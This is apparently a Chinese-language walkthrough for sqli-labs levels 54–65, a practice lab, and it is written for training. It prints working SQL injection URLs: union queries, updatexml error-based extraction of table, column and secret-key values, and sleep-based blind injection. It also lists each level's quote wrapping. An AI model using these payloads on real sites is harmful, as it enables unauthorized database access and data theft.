Less-54

  打开以后我们能够看到有一大段文字,我们通过翻译(其实不翻译也应该大致看得懂)知道这是这一关的操作要求和限制:

  The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 10 attempts
  For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.

 

 

   翻译是直译,所以我们得加上自己的理解,后面的“挑战”,本意应该是名为CHALLENGES的数据库,我们得在十次操作内拿到它的信息,否则就会重置。让我想起电影《模仿游戏》二战德军使用的密码,一台=天一重置,24小时内无法破解前功尽弃。对于现在来说,我们可以用Burp Suite暴力破解,快速计算来遍历所有的可能性,所以这就是图灵后来发明计算机的内在动力。

  言归正传,我们这一关与图灵面对的困境不同,我们被限定了次数,我们使用联合查询可以实现目的:

  测试数据用‘(单引号)包裹:

  http://192.168.1.1/sqli-labs-master/Less-54/?id=1'--+

 

 

   判断有多少列,根据我们前面的经验一般为3列,发现一次就测试正确:

  http://192.168.1.1/sqli-labs-master/Less-54/?id=1'order by 3--+

 

 

   然后寻找回显位置:

  http://192.168.1.1/sqli-labs-master/Less-54/?id=-1'union select 1,2,3 --+

 

 

   查出当前数据库,发现名为challenges:

  http://192.168.1.1/sqli-labs-master/Less-54/?id=-1'union select 1,2, database() --+

 

 

   替换database()部分的语句,查表:

  http://192.168.1.1/sqli-labs-master/Less-54/?id=-1'union select 1,2, group_concat(table_name)from information_schema.tables where table_schema='CHALLENGES' --+

 

 

   剩下的步骤,事实上就是联合查询的步骤,此处不再赘述。

 

Less-55:用?id=1)包裹

  这一关与Less-54有两处不一样,这里改为14次内爆破出key,数据包裹方式也不同,其他步骤参考Less-54,不再赘述。

 

Less-56:用?id=1’)包裹

  除了改变包裹方式,其余与Less-54均相同,不再赘述。

 

Less-57:用?id=1“包裹

  包裹方式改变,测试限制次数变为14次,其余与Less-54相同。

 

Less-58:用?id=1“包裹

  还是长长的一段文字,我们翻译一下:

  The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 5 attempts
  For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.

 

 

   这次变成了5次,我们肯定不能使用联合查询了,所以我们要寻找新的方法,而且如果尝试了就会发现,在测试回显位置的时候,其实并不会有正常的回显信息给我们判断,所以考虑我们现在知道的方法,最好使用报错注入。

  之前已经知道数据库的名字是challenges,不再获取数据库名,直接开始。

查表:得到表名为lkvyhzvvj3的表

  http://192.168.1.1/sqli-labs-master/Less-58/?id=-1'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='CHALLENGES')),1) --+

 

 

查字段:得到字段secret_V3U2

  http://192.168.1.1/sqli-labs-master/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='lkvyhzvvj3' )),1)--+

 

 

查字段的值:

  http://192.168.1.1/sqli-labs-master/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_V3U2) from challenges.lkvyhzvvj3 )),1)--+

 

   中间操作的时候语句错误,所以又重置了一回,大致步骤是一样的,只要更换表明和字段名即可,把上面得到的数据输入下面的文本框内,回显就成功了:

 

 

Less-59:无包裹

  除了没有包裹,其他步骤及要求同Less-58相同,不再赘述。

 

Less-60:用?id=1")包裹

  除了包裹方式改变,其他与Less-58别无二致,不再赘述。

 

Less-61:用?id=1'))包裹

  除了包裹方式改变,其他与Less-58别无二致,不再赘述。

 

Less-62

  这一关的要求又发生了变化,我们还是先翻译一下:

  The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 130 attempts
  For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.

 

   130次!这么多的次数,显而易见是让我们有足够多的次数能够把字段全部猜测出来,还记得我在Less-54开头提到的《模仿游戏》吗,我们现在和阿兰.图灵遇到了一样的问题,所以毫无疑问,我们使用布尔盲注,或者叫时间盲注,题目中已经给出了数据库名,所以再猜表名,字段名和值就可以了。

  我们测试可见,数据用’)(单引号加括号)包裹,

  http://192.168.1.1/sqli-labs-master/Less-62/?id=1')--+

 

   测试数据库长度,周而往复,直到立即回显:

  http://192.168.1.1/sqli-labs-master/Less-62/?id=1') and if((length(database())=1),1,sleep(5))--+

 

   其余步骤就不再演示了,可以参考Less-9的布尔盲注内容。

  我们上面已经提到过了,同样可以选择Burp Suite来爆破,速度更快一点,这里不再赘述,可以参考Less-8的内容。

 

Less-63:用?id=1'包裹

  除了包裹方式不同,在要求与方法上,本关与Less-62相同,不再赘述。

 

Less-64:用?id=1))包裹

  除了包裹方式不同,在要求与方法上,本关与Less-62相同,不再赘述。

 

Less-65:用?id=1")包裹

  除了包裹方式不同,在要求与方法上,本关与Less-62相同,不再赘述。